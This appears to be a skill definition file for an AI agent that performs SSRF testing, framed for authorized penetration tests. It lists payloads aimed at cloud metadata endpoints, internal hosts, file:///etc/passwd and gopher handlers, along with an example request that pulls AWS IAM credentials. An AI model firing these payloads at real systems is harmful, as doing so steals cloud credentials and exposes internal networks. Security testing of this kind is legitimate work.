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Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
1.4 KiB
1.4 KiB
name, description
| name | description |
|---|---|
| performing-ssrf-vulnerability-exploitation | Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection. |
Instructions
- Install dependencies:
pip install requests - Identify URL parameters in the target application that accept URLs or hostnames.
- Test SSRF payloads:
- Cloud metadata:
http://169.254.169.254/latest/meta-data/ - Internal services:
http://127.0.0.1:port/,http://10.0.0.1/ - Protocol handlers:
file:///etc/passwd,gopher://,dict:// - Bypass techniques: IP encoding, DNS rebinding, URL redirects
- Cloud metadata:
- Analyze responses for information disclosure or internal access confirmation.
- Generate a vulnerability assessment report.
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
Examples
AWS Metadata SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.